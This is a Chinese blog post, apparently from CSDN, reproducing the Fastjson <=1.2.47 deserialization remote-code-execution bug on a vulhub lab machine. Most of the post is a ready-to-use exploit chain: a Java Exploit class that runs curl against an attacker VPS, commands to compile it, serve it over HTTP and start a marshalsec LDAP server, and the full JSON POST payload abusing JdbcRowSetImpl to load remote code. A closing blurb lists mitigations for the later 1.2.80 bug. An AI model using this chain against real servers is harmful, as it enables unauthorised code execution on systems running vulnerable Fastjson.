【vulhub】Fastjson<=1.2.47 反序列化导致REC漏洞复现

**

一、启动vulhub靶机

**

docker-compose up -d

在这里插入图片描述
在这里插入图片描述

二、公网VPS主机操作

1、JDK环境(有版本要求,尽量低于1.8.0_191版本,测试在1.8.0_181可成功)

java -version

在这里插入图片描述
JDK1.8.0_181下载链接
在这里插入图片描述
在这里插入图片描述
JDK安装

2、java的PoC,保存为Exploit.java文件

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec("curl http://VPS主机/Hacker");
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}

3、编译Exploit.java文件为Exploit.class,并且在当前目录下运行Web服务

javac Exploit.java
python3 -m http.server

在这里插入图片描述

4、下载marshalsec-0.0.3-SNAPSHOT-all.jar文件,并与Exploit.java同一目录下,在当前目录下运行LDAP服务,修改IP为当前这台vps服务器的IP。

marshalsec-0.0.3-SNAPSHOT-all.jar下载链接

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://VPS_IP:8000/#Exploit" 9999

在这里插入图片描述
注意:marshalsec-0.0.3-SNAPSHOT-all.jar文件、Exploit.java、Exploit.class需在同目录下。启动服务命令也在当前目录下运行

5、发送payload前,查看apache服务日志,检验命令curl http://VPS主机/Hacker是否执行。

tail -f /var/log/apache2/access.log

三、发送payload

POST / HTTP/1.1
Host: 192.168.150.143:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 266

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://VPS_IP:9999/Exploit",
        "autoCommit":true
    }
}

在这里插入图片描述

四、检验

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
fastjson <= 1.2.80 存在反序列化任意代码执行漏洞。该漏洞利用黑白名单防御机制的绕过,即使autoType关闭也可能导致远程命令执行漏洞。这个漏洞的利用门槛较低,可以绕过默认限制攻击远程服务器,风险影响较大。建议fastjson用户立即采取安全措施来保护系统安全。对受影响的特定依赖≤1.2.80的情况下会有影响。为了解决这个问题,可以采取以下几种安全措施: 1. 升级到最新版本1.2.83,该版本修复了此次发现的漏洞。注意,该版本中涉及autotype行为变更,可能在某些场景下存在不兼容情况。如果遇到问题,可以到fastjson的Github页面寻求帮助。 2. 在1.2.68及之后的版本中引入了safeMode,可以通过配置safeMode来关闭autoType功能。这样无论是白名单还是黑名单,都不支持autoType,可以防止反序列化Gadgets类的变种攻击。但是请注意,在关闭autoType之前要充分评估对业务的影响。具体的配置方法可以参考fastjson的Wiki页面。 3. 考虑升级到fastjson v2版本,可以参考fastjson的Github页面了解相关信息。 总结起来,为了解决fastjson <= 1.2.80 反序列化任意代码执行漏洞,建议采取上述的安全措施,包括升级到最新版本、配置safeMode关闭autoType功能或者考虑升级到fastjson v2版本。这样可以防止漏洞的利用,并提升系统的安全性。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [fastjson1.2.8 反序列化远程代码执行漏洞](https://download.csdn.net/download/xiazai_ceshi/18466350)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [fastjson = 1.2.80 反序列化任意代码执行漏洞](https://blog.csdn.net/qq_18209847/article/details/124952791)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值